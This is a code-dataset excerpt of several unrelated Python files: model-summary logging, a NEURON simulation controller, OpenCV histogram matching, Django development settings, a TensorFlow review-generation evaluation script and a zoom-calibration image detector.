print('~~~~~~~~')\n\n return np.mean(aps), aps\n################################################\ndef setup_logging(log_file='log.txt'):\n \"\"\"Setup logging configuration\n \"\"\"\n logging.basicConfig(level=logging.INFO,\n format=\"%(asctime)s - %(levelname)s - %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\",\n filename=log_file,\n filemode='w')\n console = logging.StreamHandler()\n console.setLevel(logging.INFO)\n formatter = logging.Formatter('%(message)s')\n console.setFormatter(formatter)\n logging.getLogger('').addHandler(console)\n\n#####summary your model#####################\ndef summary(model, *args, **kwargs): # save_path, hyperparams,\n \"\"\"Summarize the given input model.\n Summarized information are 1) output shape, 2) kernel shape,\n 3) number of the parameters and 4) operations (Mult-Adds)\n Args:\n model (Module): Model to summarize\n x (Tensor): Input tensor of the model with [N, C, H, W] shape\n dtype and device have to match to the model\n args, kwargs: Other argument used in `model.forward` function\n \"\"\"\n\n def register_hook(module):\n def hook(module, inputs, outputs):\n cls_name = str(module.__class__).split(\".\")[-1].split(\"'\")[0]\n module_idx = len(summary)\n key = \"{}_{}\".format(module_idx, cls_name)\n\n info = OrderedDict()\n info[\"id\"] = id(module)\n if isinstance(outputs, (list, tuple)):\n info[\"out\"] = list(outputs[0].size())\n else:\n info[\"out\"] = list(outputs.size())\n\n info[\"ksize\"] = \"-\"\n info[\"stride\"] = \"-\"\n info[\"inner\"] = OrderedDict()\n info[\"params\"], info[\"macs\"] = 0, 0\n info[\"gradient\"] = 0\n for name, param in module.named_parameters():\n info[\"params\"] += param.nelement()\n info[\"gradient\"] = param.requires_grad\n\n if \"weight\" == name:\n ksize = list(param.size())\n # to make [in_shape, out_shape, ksize, ksize]\n if len(ksize) > 1:\n ksize[0], ksize[1] = ksize[1], ksize[0]\n info[\"ksize\"] = ksize\n\n # ignore N, C when calculate Mult-Adds in ConvNd\n if \"Conv\" in cls_name:\n info[\"macs\"] += int(param.nelement() * np.prod(info[\"out\"][2:]))\n else:\n info[\"macs\"] += param.nelement()\n\n # stride\n if hasattr(module, 'stride'):\n info[\"stride\"] = [module.stride[0], module.stride[1]]\n\n # RNN modules have inner weights such as weight_ih_l0\n elif \"weight\" in name:\n info[\"inner\"][name] = list(param.size())\n info[\"macs\"] += param.nelement()\n\n # if the current module is already-used, mark as \"(recursive)\"\n # check if this module has params\n if list(module.named_parameters()):\n for v in summary.values():\n if info[\"id\"] == v[\"id\"]:\n info[\"params\"] = \"(recursive)\"\n\n if info[\"params\"] == 0:\n info[\"params\"], info[\"gradient\"], info[\"macs\"] = \"-\", \"-\", \"-\"\n\n summary[key] = info\n\n # ignore Sequential and ModuleList\n if not module._modules:\n hooks.append(module.register_forward_hook(hook))\n\n hooks = []\n x = torch.zeros((config.train_batch_size, 3, config.imgSize[1], config.imgSize[0]))\n if torch.cuda.is_available():\n input = x.type(torch.cuda.FloatTensor) #, requires_grad=False)\n else:\n input = x.type(torch.FloatTensor) #, requires_grad=False)\n summary = OrderedDict({\"0_Data\":OrderedDict({\"id\":\"0\", \"ksize\":\"-\", \"stride\":\"-\", \"out\":list(input.shape), \"gradient\":\"False\", \"params\":\"_\", \"macs\": \"_\", \\\n \"inner\":OrderedDict()})})\n\n model.apply(register_hook)\n model(input) if not (kwargs or args) else model(input, *args, **kwargs)\n\n for hook in hooks:\n hook.remove()\n\n logging.info(\"-\" * 150)\n logging.info(\"{:<15} {:>28} {:>15} {:>15} {:>25} {:>20} {:>20}\"\n .format(\"Layer\", \"Kernel Shape\", \"Stride\", \"Gradient\", \"Output Shape\",\n \"# Params (K)\", \"# Mult-Adds (M)\"))\n logging.info(\"=\" * 150)\n\n total_params, total_macs = 0, 0\n for layer, info in summary.items():\n repr_ksize = str(info[\"ksize\"])\n repr_stride = str(info[\"stride\"])\n repr_out = str(info[\"out\"])\n repr_gradient = str(info[\"gradient\"])\n repr_params = info[\"params\"]\n repr_macs = info[\"macs\"]\n\n if isinstance(repr_params, (int, float)):\n total_params += repr_params\n repr_params = \"{0:,.2f}\".format(repr_params / 1000)\n if isinstance(repr_macs, (int, float)):\n total_macs += repr_macs\n repr_macs = \"{0:,.2f}\".format(repr_macs / 1000000)\n\n logging.info(\"{:<15} \\t{:>20} {:>15} {:>15} {:>25} {:>20} {:>20}\"\n .format(layer, repr_ksize, repr_stride, repr_gradient, repr_out, repr_params, repr_macs))\n\n # for RNN, describe inner weights (i.e. w_hh, w_ih)\n for inner_name, inner_shape in info[\"inner\"].items():\n logging.info(\" {:<13} {:>20}\".format(inner_name, str(inner_shape)))\n\n logging.info(\"=\" * 150)\n logging.info(\"# Params: {0:,.2f}K\".format(total_params / 1000))\n logging.info(\"# Mult-Adds: {0:,.2f}M\".format(total_macs / 1000000))\n # total_flops = print_model_parm_flops(model, input)\n # logging.info(\"# GFLOPS: {0:,.4f}G\".format(total_flops))\n\n logging.info(\"-\" * 150)\n #draw_img_classifier_to_file(model, os.path.join(save_path, 'model.png'), Variable(x.type(torch.FloatTensor), requires_grad=False))\n\n# def print_model_parm_flops(net, input_var):\n# # prods = {}\n# # def save_prods(self, input, output):\n# # print 'flops:{}'.format(self.__class__.__name__)\n# # print 'input:{}'.format(input)\n# # print '_dim:{}'.format(input[0].dim())\n# # print 'input_shape:{}'.format(np.prod(input[0].shape))\n# # grads.append(np.prod(input[0].shape))\n#\n# prods = {}\n#\n# def save_hook(name):\n# def hook_per(self, input, output):\n# # print 'flops:{}'.format(self.__class__.__name__)\n# # print 'input:{}'.format(input)\n# # print '_dim:{}'.format(input[0].dim())\n# # print 'input_shape:{}'.format(np.prod(input[0].shape))\n# # prods.append(np.prod(input[0].shape))\n# prods[name] = np.prod(input[0].shape)\n# # prods.append(np.prod(input[0].shape))\n#\n# return hook_per\n#\n# list_1 = []\n#\n# def simple_hook(self, input, output):\n# list_1.append(np.prod(input[0].shape))\n#\n# list_2 = {}\n#\n# def simple_hook2(self, input, output):\n# list_2['names'] = np.prod(input[0].shape)\n#\n# multiply_adds = False\n# list_conv = []\n#\n# def conv_hook(self, input, output):\n# batch_size, input_channels, input_height, input_width = input[0].size()\n# output_channels, output_height, output_width = output[0].size()\n#\n# kernel_ops = self.kernel_size[0] * self.kernel_size[1] * (self.in_channels / self.groups) * (\n# 2 if multiply_adds else 1)\n# bias_ops = 1 if self.bias is not None else 0\n#\n# params = output_channels * (kernel_ops + bias_ops)\n# flops = batch_size * params * output_height * output_width\n#\n# list_conv.append(flops)\n#\n# list_linear = []\n#\n# def linear_hook(self, input, output):\n# batch_size = input[0].size(0) if input[0].dim() == 2 else 1\n#\n# weight_ops = self.weight.nelement() * (2 if multiply_adds else 1)\n# bias_ops = self.bias.nelement()\n#\n# flops = batch_size * (weight_ops + bias_ops)\n# list_linear.append(flops)\n#\n# list_bn = []\n#\n# def bn_hook(self, input, output):\n# list_bn.append(input[0].nelement())\n#\n# list_relu = []\n#\n# def relu_hook(self, input, output):\n# list_relu.append(input[0].nelement())\n#\n# list_pooling = []\n#\n# def pooling_hook(self, input, output):\n# batch_size, input_channels, input_height, input_width = input[0].size()\n# output_channels, output_height, output_width = output[0].size()\n#\n# kernel_ops = self.kernel_size * self.kernel_size\n# bias_ops = 0\n# params = output_channels * (kernel_ops + bias_ops)\n# flops = batch_size * params * output_height * output_width\n#\n# list_pooling.append(flops)\n#\n# def foo(net):\n# childrens = list(net.children())\n# if not childrens:\n# if isinstance(net, torch.nn.Conv2d):\n# # net.register_forward_hook(save_hook(net.__class__.__name__))\n# # net.register_forward_hook(simple_hook)\n# # net.register_forward_hook(simple_hook2)\n# net.register_forward_hook(conv_hook)\n# if isinstance(net, torch.nn.Linear):\n# net.register_forward_hook(linear_hook)\n# if isinstance(net, torch.nn.BatchNorm2d):\n# net.register_forward_hook(bn_hook)\n# if isinstance(net, torch.nn.ReLU):\n# net.register_forward_hook(relu_hook)\n# if isinstance(net, torch.nn.MaxPool2d) or isinstance(net, torch.nn.AvgPool2d):\n# net.register_forward_hook(pooling_hook)\n# return\n# for c in childrens:\n# foo(c)\n#\n# net.eval()\n# foo(net)\n# out = net(input_var)\n# total_flops = (sum(list_conv) + sum(list_linear) + sum(list_bn) + sum(list_relu) + sum(list_pooling))\n#\n# return total_flops / 1e9\n#\n# #logging.info(' + Number of FLOPs: %.4fG' % (total_flops / 1e9))\n\n####################################################################################################","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":32054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"53935072","text":"# ~/executive.py\nimport importlib\nimport time\n\nfrom neuron import h\n\nfrom utilities import UsefulUtils as uu\nfrom managers.managerFiling import FilingManager as fm\nfrom managers.managerSimulation import SimulationManager as sm\nfrom managers.managerRecord import RecordManager as rm\nfrom managers.managerTranscribe import TranscribeManager\n\nclass ExecutiveControl(object):\n \"\"\"\n Main Use Methods:\n list_modelscales\n list_models\n choose_model\n launch_model\n save_response\n load_response\n\n Instance methods:\n launch_model\n save_response (call must be after launch_model)\n\n Static methods:\n list_modelscale\n list_models\n choose_model\n\n \"\"\"\n\n def __init__(self):\n self.recordings = {\"time\": None, \"response\": None, \"stimulus\": None}\n self.tm = TranscribeManager()\n\n @staticmethod\n def list_modelscales():\n return fm.available_modelscales()\n\n @staticmethod\n def list_models(modelscale=None):\n x = fm.modelscale_inventory(model_scale=modelscale)\n #if \"DummyTest\" in x: # DummyTest is the Dummy model for running test\n # x.remove(\"DummyTest\")\n return x\n\n @staticmethod\n def choose_model(modelscale=None, modelname=None):\n sm.lock_and_load_model_libraries(modelscale=modelscale, modelname=modelname)\n modelmodule = importlib.import_module(\"models.\"+modelscale+\".model\"+modelname)\n chosenmodel = getattr(modelmodule, uu.classesinmodule(modelmodule)[0].__name__)\n return chosenmodel()\n #return self.chosenmodel # the picked model is available as attribute\n # NOTE: all model __init__ method will have the attributes\n # modelscale and modelname => self.chosenmodel.modelscale/modelname\n\n def launch_model( self, parameters = None, onmodel = None,\n stimparameters = None, stimloc = None,\n capabilities = {'model':None, 'vtest':None} ):\n # NOTE: although it is convenient to use self.chosenmodel\n # to the user having explicitly choose onmodel as an argument is clearer\n uu.check_not_None_in_arg({'parameters': parameters, 'onmodel': onmodel})\n if onmodel.modelscale is \"cells\":\n sm.prepare_model_NEURON( parameters=parameters, chosenmodel=onmodel,\n modelcapability = capabilities['model'],\n cerebunitcapability = capabilities['vtest'] )\n stimuli_list = sm.stimulate_model_NEURON(\n stimparameters = stimparameters,\n modelsite = stimloc )\n self.recordings[\"time\"], self.recordings[\"response\"], rec_i_indivs = \\\n rm.prepare_recording_NEURON( onmodel,\n stimuli = stimuli_list )\n sm.trigger_NEURON( onmodel, modelcapability = capabilities['model'] )\n self.recordings[\"stimulus\"] = \\\n rm.postrun_record_NEURON( injectedcurrents = rec_i_indivs )\n # save the parameters as attributes\n self.chosenmodel = onmodel\n self.parameters = parameters\n self.stimparameters = stimparameters\n return \"model was successfully simulated\" # for executiveTest.py\n\n def save_response( self ):\n self.tm.load_metadata( chosenmodel = self.chosenmodel,\n recordings = self.recordings,\n runtimeparameters = self.parameters,\n stimparameters = self.stimparameters )\n self.tm.compile_nwbfile()\n self.tm.save_nwbfile()\n\n def load_response( self ):\n pass\n","sub_path":"executive.py","file_name":"executive.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"426548364","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\n#input : gray level img\n#input : pixel quantization level\n#output: histogram of img\ndef calHist(img, level):\n hist = np.zeros(level)\n (rows, cols) = (len(img), len(img[0]))\n for i in range(rows):\n for j in range(cols):\n hist[img[i,j]] += 1\n return hist\n\n#input : histogram of gray image\n#input : color for line plot\n#output: save plot to current folder\ndef plot_save(i, title, path, hist, color, level):\n plt.figure(i)\n plt.xlim([0,level])\n plt.title(title)\n plt.plot(hist, color = color)\n plt.savefig(path)\n\n# img: gray scale img\n# histo: histogram that you want to match\n# image after apply exact histogram match\ndef exact_histo(img, histo):\n (rows, cols) = (len(img), len(img[0]))\n ret_img = np.array(img, 'float32')\n w1_kernel = np.float32([1])\n w2_kernel = np.float32([[0,1/5,0], [1/5,1/5,1/5],[0,1/5,0]])\n w3_kernel = np.float32([[1/9,1/9,1/9], [1/9,1/9,1/9],[1/9,1/9,1/9]])\n\n #apply three different kernel to img\n img_w1 = cv2.filter2D(ret_img, -1, w1_kernel)\n img_w2 = cv2.filter2D(ret_img, -1, w2_kernel)\n img_w3 = cv2.filter2D(ret_img, -1, w3_kernel)\n\n #put the result of applying kernel into vector (w1,w2,w3)\n filter_arr = []\n for i in range(rows):\n for j in range(cols):\n filter_arr.append((img_w1[i,j],img_w2[i,j],img_w3[i,j], i, j))\n\n #sort the collections in lexical order\n filter_arr = sorted(filter_arr)\n\n #according the sorting result adjust the intensity of pixel\n k = 0 #already adjusted pixel location\n for i in range(len(histo)):\n while(histo[i] > 0):\n ret_img[filter_arr[k][3],filter_arr[k][4]] = i\n histo[i] -= 1\n k += 1\n return ret_img.astype(\"int\")\n\ndef main():\n underexposed = cv2.cvtColor(cv2.imread('./orig_images/underexposed.jpg'), cv2.COLOR_BGR2GRAY)\n overexposed = cv2.cvtColor(cv2.imread('./orig_images/overexposed.jpg'), cv2.COLOR_BGR2GRAY)\n\n #compute uniform histogram for underexposed image\n under_size = len(underexposed) * len(underexposed[0])\n histo_under = [(under_size - (under_size % 256)) / 256] * 256\n histo_under[255] += (under_size % 256)\n\n #compute uniform histogram for overexposed image\n over_size = len(overexposed) * len(overexposed[0])\n histo_over = [(over_size - (over_size % 256)) / 256] * 256\n histo_over[255] += (over_size % 256)\n\n equal_under = exact_histo(underexposed, histo_under)\n equal_over = exact_histo(overexposed, histo_over)\n cv2.imwrite(\"equal_underexposed.jpg\", equal_under);\n cv2.imwrite(\"equal_overexposed.jpg\", equal_over);\n plot_save(1,\"orig_under\",\"./orig_under.png\",calHist(underexposed,256),'r',256)\n plot_save(2,\"orig_over\",\"./orig_over.png\",calHist(overexposed,256),'g',256)\n plot_save(3,\"equal_under\",\"./equal_under.png\",calHist(equal_under,256),'b',256)\n plot_save(4,\"equal_over\",\"./equal_over.png\",calHist(equal_over,256),'k',256)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"image_processing/qc_381/hw2/q3/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"256788513","text":"\n\nfrom xai.brain.wordbase.adjectives._trashy import _TRASHY\n\n#calss header\nclass _TRASHIEST(_TRASHY, ):\n\tdef __init__(self,): \n\t\t_TRASHY.__init__(self)\n\t\tself.name = \"TRASHIEST\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"trashy\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_trashiest.py","file_name":"_trashiest.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"203502740","text":"import socket\n\nfrom .base import *\n\nDEBUG = True\n\nSESSION_COOKIE_SECURE = False\n\nTEST_NOTIFY_CONNECTION = False\n\nSTATIC_URL = URL_PREFIX + '/static/'\n\nPUBLIC_APPLICATION_URL = 'http://localhost:8000' + URL_PREFIX\n\nALLOWED_HOSTS = ['*']\n\n# GTM Container ID\nGOOGLE_TAG_MANAGER_ID = \"GTM-545782K\"\n\nINSTALLED_APPS = BUILTIN_APPS + THIRD_PARTY_APPS + PROJECT_APPS\n\nFEEDBACK_EMAIL = 'tester@informed.com'\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = os.environ.get('SECRET_KEY', 'ezn^k@w45@&zncvn)fzsrnke-e04s#+3$$ol$m=_nfwsfchlvp')\n\n# Custom django debug toolbar settings\nDEBUG_TOOLBAR_CONFIG = {\n 'SHOW_TOOLBAR_CALLBACK': 'application.presentation.utilities.show_django_debug_toolbar',\n}\n","sub_path":"nanny/settings/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"123278889","text":"from collections import defaultdict\n\nimport tensorflow as tf\nimport numpy as np\n\nfrom model import Model\nfrom reader import DataReader, get_review_data, batch_review_normalize, get_prototype_data\nfrom utils import count_parameters, load_vocabulary, decode_reviews, log_info\nfrom bleu import compute_bleu\nfrom rouge import rouge\n\nfrom tensorflow.python.util import deprecation\nfrom tensorflow.core.protobuf import rewriter_config_pb2\nfrom collections import defaultdict\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\ndeprecation._PRINT_DEPRECATION_WARNINGS = False\n\n# Parameters\n# ==================================================\ntf.flags.DEFINE_string(\"ckpt_dir\", \"results/model20.ckpt\",\n \"\"\"Path to the directory that contains the checkpoints\"\"\")\n\ntf.flags.DEFINE_string(\"data_dir\", \"data\",\n \"\"\"Path to the data directory\"\"\")\n\ntf.flags.DEFINE_float(\"learning_rate\", 3e-4,\n \"\"\"Learning rate (default: 3e-4)\"\"\")\ntf.flags.DEFINE_float(\"dropout_rate\", 0.2,\n \"\"\"Probability of dropping neurons (default: 0.2)\"\"\")\ntf.flags.DEFINE_float(\"lambda_reg\", 1e-4,\n \"\"\"Lambda hyper-parameter for regularization (default: 1e-4)\"\"\")\n\ntf.flags.DEFINE_integer(\"num_epochs\", 20,\n \"\"\"Number of training epochs (default: 20)\"\"\")\ntf.flags.DEFINE_integer(\"batch_size\", 64,\n \"\"\"Batch size of reviews (default: 64)\"\"\")\ntf.flags.DEFINE_integer(\"num_factors\", 256,\n \"\"\"Number of latent factors for users/items (default: 256)\"\"\")\ntf.flags.DEFINE_integer(\"word_dim\", 200,\n \"\"\"Word embedding dimensions (default: 200)\"\"\")\ntf.flags.DEFINE_integer(\"lstm_dim\", 256,\n \"\"\"LSTM hidden state dimensions (default: 256)\"\"\")\ntf.flags.DEFINE_integer(\"max_length\", 20,\n \"\"\"Maximum length of reviews to be generated (default: 20)\"\"\")\ntf.flags.DEFINE_integer(\"display_step\", 10,\n \"\"\"Display info after number of steps (default: 10)\"\"\")\n\ntf.flags.DEFINE_boolean(\"allow_soft_placement\", True,\n \"\"\"Allow device soft device placement\"\"\")\n\ntf.flags.DEFINE_boolean(\"generating\", False,\n \"\"\"Allow to generate reviews \"\"\")\n\nFLAGS = tf.flags.FLAGS\n\n\ndef check_scope_rating(var_name):\n for name in ['user', 'item', 'features', 'rating']:\n if name in var_name:\n return True\n return False\n\n\ndef check_scope_review(var_name):\n for name in ['user', 'item', 'features', 'review']:\n if name in var_name:\n return True\n return False\n\n\ndef main(_):\n vocab = load_vocabulary(FLAGS.data_dir)\n if FLAGS.generating:\n data_reader = DataReader(FLAGS.data_dir, n_reviews=5, generating=True)\n else:\n data_reader = DataReader(FLAGS.data_dir)\n\n model = Model(total_users=data_reader.total_users, total_items=data_reader.total_items,\n global_rating=data_reader.global_rating, num_factors=FLAGS.num_factors,\n img_dims=[196, 512], vocab_size=len(vocab), word_dim=FLAGS.word_dim,\n lstm_dim=FLAGS.lstm_dim, max_length=FLAGS.max_length, dropout_rate=FLAGS.dropout_rate)\n\n saver = tf.compat.v1.train.Saver()\n\n log_file = open('log.txt', 'w')\n test_step = 0\n\n config = tf.compat.v1.ConfigProto(allow_soft_placement=FLAGS.allow_soft_placement)\n config.gpu_options.allow_growth = True\n\n with tf.Session(config=config) as sess:\n saver.restore(sess, FLAGS.ckpt_dir)\n print('Model succesfully restored')\n # Testing\n review_gen_corpus = defaultdict(list)\n review_ref_corpus = defaultdict(list)\n\n photo_bleu_scores = defaultdict(list)\n photo_rouge_scores = defaultdict(list)\n\n review_bleu_scores = defaultdict(list)\n review_rouge_scores = defaultdict(list)\n\n sess.run(model.init_metrics)\n for users, items, ratings in data_reader.read_real_test_set(FLAGS.batch_size, rating_only=True):\n test_step += 1\n prototypes = get_prototype_data(\n users, items, data_reader.train_user_review, data_reader.train_item_review)\n fd = model.feed_dict(users, items, ratings=ratings, prototypes=prototypes)\n sess.run(model.update_metrics, feed_dict=fd)\n\n review_users, review_items, review_ratings, photo_ids, reviews = get_review_data(users, items, ratings,\n data_reader.real_test_review)\n review_prototypes = get_prototype_data(\n review_users, review_items, data_reader.train_user_review, data_reader.train_item_review)\n img_idx = [data_reader.real_test_id2idx[photo_id]\n for photo_id in photo_ids]\n images = data_reader.real_test_img_features[img_idx]\n\n fd = model.feed_dict(users=review_users,\n items=review_items, prototypes=review_prototypes, images=images)\n _reviews, _alphas, _betas = sess.run(\n [model.sampled_reviews, model.alphas, model.betas], feed_dict=fd)\n\n gen_reviews = decode_reviews(_reviews, vocab)\n ref_reviews = [decode_reviews(\n batch_review_normalize(ref), vocab) for ref in reviews]\n \n if FLAGS.generating:\n for gen, ref in zip(gen_reviews, ref_reviews):\n gen_str = \"GENERATED:\\n\"+\" \".join(gen)\n ref_str = \"REFERENCE:\\n\"+\" \".join([\" \".join(sentence) for sentence in ref])+\"\\n\"\n log_info(log_file,gen_str)\n log_info(log_file,ref_str)\n\n \n for user, item, gen, refs in zip(review_users, review_items, gen_reviews, ref_reviews):\n review_gen_corpus[(user, item)].append(gen)\n review_ref_corpus[(user, item)] += refs\n\n bleu_scores = compute_bleu(\n [refs], [gen], max_order=4, smooth=True)\n for order, score in bleu_scores.items():\n photo_bleu_scores[order].append(score)\n\n rouge_scores = rouge([gen], refs)\n for metric, score in rouge_scores.items():\n photo_rouge_scores[metric].append(score)\n\n _mae, _rmse = sess.run([model.mae, model.rmse])\n log_info(log_file, '\\nRating prediction results: MAE={:.3f}, RMSE={:.3f}'.format(\n _mae, _rmse))\n\n log_info(log_file, '\\nReview generation results:')\n log_info(log_file, '- Photo level: BLEU-scores = {:.2f}, {:.2f}, {:.2f}, {:.2f}'.format(\n np.array(photo_bleu_scores[1]).mean(\n ) * 100, np.array(photo_bleu_scores[2]).mean() * 100,\n np.array(photo_bleu_scores[3]).mean() * 100, np.array(photo_bleu_scores[4]).mean() * 100))\n\n for user_item, gen_reviews in review_gen_corpus.items():\n references = [list(ref) for ref in set(tuple(ref)\n for ref in review_ref_corpus[user_item])]\n\n user_item_bleu_scores = defaultdict(list)\n for gen in gen_reviews:\n bleu_scores = compute_bleu(\n [references], [gen], max_order=4, smooth=True)\n for order, score in bleu_scores.items():\n user_item_bleu_scores[order].append(score)\n for order, scores in user_item_bleu_scores.items():\n review_bleu_scores[order].append(np.array(scores).mean())\n\n user_item_rouge_scores = defaultdict(list)\n for gen in gen_reviews:\n rouge_scores = rouge([gen], references)\n for metric, score in rouge_scores.items():\n user_item_rouge_scores[metric].append(score)\n for metric, scores in user_item_rouge_scores.items():\n review_rouge_scores[metric].append(np.array(scores).mean())\n\n log_info(log_file, '- Review level: BLEU-scores = {:.2f}, {:.2f}, {:.2f}, {:.2f}'.format(\n np.array(review_bleu_scores[1]).mean(\n ) * 100, np.array(review_bleu_scores[2]).mean() * 100,\n np.array(review_bleu_scores[3]).mean() * 100, np.array(review_bleu_scores[4]).mean() * 100))\n\n for metric in ['rouge_1', 'rouge_2', 'rouge_l']:\n log_info(log_file, '- Photo level: {} = {:.2f}, {:.2f}, {:.2f}'.format(\n metric,\n np.array(\n photo_rouge_scores['{}/p_score'.format(metric)]).mean() * 100,\n np.array(\n photo_rouge_scores['{}/r_score'.format(metric)]).mean() * 100,\n np.array(photo_rouge_scores['{}/f_score'.format(metric)]).mean() * 100))\n log_info(log_file, '- Review level: {} = {:.2f}, {:.2f}, {:.2f}'.format(\n metric,\n np.array(\n review_rouge_scores['{}/p_score'.format(metric)]).mean() * 100,\n np.array(\n review_rouge_scores['{}/r_score'.format(metric)]).mean() * 100,\n np.array(review_rouge_scores['{}/f_score'.format(metric)]).mean() * 100))\n\nif __name__ == '__main__':\n tf.compat.v1.app.run()\n","sub_path":"mrg-gru/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"653222642","text":"#===============================================================================\n# Copyright 2011 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#===============================================================================\n\n\n\n#=============enthought library imports=======================\nfrom traits.api import Int\nfrom pyface.timer.api import do_later\n#============= standard library imports ========================\nimport time\nfrom numpy import array, hstack\n#============= local library imports ==========================\nfrom src.managers.data_managers.csv_data_manager import CSVDataManager\nfrom src.image.cvwrapper import threshold, colorspace, grayspace, contour, \\\n get_polygons, draw_contour_list, draw_polygons\nfrom detector import Detector\nfrom src.graph.regression_graph import RegressionGraph\n\n\nclass ZoomCalibrationDetector(Detector):\n\n zoom_start = Int(0)\n zoom_end = Int(75)\n zoom_step = Int(5)\n\n def do_zoom_calibration(self):\n dm = CSVDataManager()\n# self.calibration_detector = CalibrationDetector(parent=self,\n# image=self.image,\n# pxpermm=self.pxpermm,\n# )\n\n self.parent.show_image()\n# zoomin_areas = array([])\n# zoomout_areas = array([])\n# zoomin_zooms = array([])\n# zoomout_zooms = array([])\n for i in range(1):\n dm.new_frame()\n if not self.parent.testing:\n break\n\n self.info('zoom calibration trial {}'.format(i + 1))\n zoom_start = 0\n zoom_end = 50\n zoom_step = 5\n xsin = range(zoom_start, zoom_end, zoom_step)\n\n fstart = 10\n fend = 2\n fstep = 0\n\n if not self.parent.testing:\n break\n self.info('zoom in sweep')\n zia = array(self.zoom_calibration_sweep(zoom_start, zoom_end,\n zoom_step, fstart,\n fend, fstep, dm))\n if i == 0:\n zoomin_areas = zia\n zoomin_zooms = array(xsin)\n else:\n zoomin_areas = hstack((zoomin_areas, zia))\n zoomin_zooms = hstack((zoomin_zooms, xsin))\n\n zoom_start = zoom_end - zoom_step\n zoom_end = -1\n zoom_step = -5\n# fstart = 10\n# fend = 2\n# fstep = 0\n xsout = xsin[:]\n# xsout.reverse()\n\n if not self.parent.testing:\n break\n\n self.info('zoom out sweep')\n zoa = array(self.zoom_calibration_sweep(zoom_start, zoom_end,\n zoom_step, fstart,\n fend, fstep, dm))\n# zoa = zia\n zoa = array(zoa[::-1])\n if i == 0:\n zoomout_areas = zoa\n zoomout_zooms = xsout\n else:\n zoomout_areas = hstack((zoomout_areas, zoa))\n zoomout_zooms = hstack((zoomout_zooms, xsout))\n\n g = RegressionGraph(show_regression_editor=False)\n g.new_plot()\n# g.new_plot()\n\n wh = 640 * 480.\n\n def cal_pxpermm(zs):\n return [self.pxpermm * (1 + (ai - zs[0]) / (wh)) for ai in zs]\n\n ys_in = cal_pxpermm(zoomin_areas)\n\n ys_out = cal_pxpermm(zoomout_areas)\n\n# g.new_series(x=xsin, y=ys_in, fit_type='parabolic')\n# g.new_series(x=xsout, y=ys_out, fit_type='parabolic')\n g.new_series(x=hstack((zoomin_zooms, zoomout_zooms)),\n y=hstack((ys_in, ys_out)), fit_type='parabolic')\n# xa = linspace(0, 50, 50)\n# g.new_series(x=xa, y=polyval(polyfit(xs, ys, 2), xa), regress=False)\n\n do_later(g.edit_traits)\n\n def zoom_calibration_sweep(self, zs, ze, step, fstart, fend, fstep, dm):\n areas = []\n for zi in range(zs, ze, step):\n # set zoom\n if not self.parent.testing:\n break\n\n if self.parent.laser_manager is not None:\n self.parent.laser_manager.set_motor('zoom', zi, block=True)\n time.sleep(1)\n\n refocus = True\n if self.parent.autofocus_manager is not None and refocus:\n self.parent.autofocus_manager._passive_focus_1step(fstart=fstart,\n fend=fend,\n operator='laplace',\n velocity_scalar=0.25)\n fstart += fstep\n fend += fstep\n time.sleep(2)\n\n# accumulated = new_dst(mode='float32')\n src = self.parent.load_source()\n# for i in range(5):\n# if not self.testing:\n# break\n# self.info('accumulating image {}'.format(i + 1))\n# src = self.load_source()\n# if i == 0:\n# size = src.size()\n# w = size[0]\n# h = size[1]\n# accumulated = new_dst(width=w, height=h, mode='float32')\n# # print src.size(), accumulated.size()\n# running_average(src, accumulated)\n# time.sleep(0.1)\n#\n# src = convert(accumulated, new_dst())\n\n if not self.parent.testing:\n break\n\n for ti in range(150, 200):\n area = self.calculate_calibration_area(src, ti)\n# time.sleep(1)\n if area:\n self.info('calculated area for {}= {}'.format(\n zi, area))\n areas.append(area)\n dm.write_to_frame((zi, area))\n break\n\n return areas\n\n def calculate_calibration_area(self, src, t):\n gsrc = grayspace(src)\n\n tsrc = threshold(gsrc, t)\n ntsrc = colorspace(tsrc)\n\n cont, hi = contour(tsrc)\n\n draw_contour_list(ntsrc, cont)\n polygons, _brs, areas = get_polygons(cont, hi, nsizes=3, min_area=2000)\n cgsrc = colorspace(gsrc)\n draw_polygons(cgsrc, polygons)\n\n self.image.frames[0] = cgsrc\n if len(self.image.frames) == 2:\n self.image.frames[1] = ntsrc\n else:\n self.image.frames.append(ntsrc)\n\n if areas:\n return areas[0]\n\n# def locate_calibration_object1(self):\n# src = self.parent.load_source()\n# self.parent.show_image()\n# # src = grayspace(src)\n# self.image.frames[0] = colorspace(src)\n# csrc = isolate_color(src, 2)\n# self.image.frames.append(csrc)\n\n# cs = find_circles(src, 200)\n#\n# csrc = colorspace(src)\n# self.image.frames.append(csrc)\n# for ci in cs.tolist():\n# ci = map(int, ci)\n#\n# draw_circle(csrc, new_point(ci[0], ci[1]), ci[2])\n\n# def 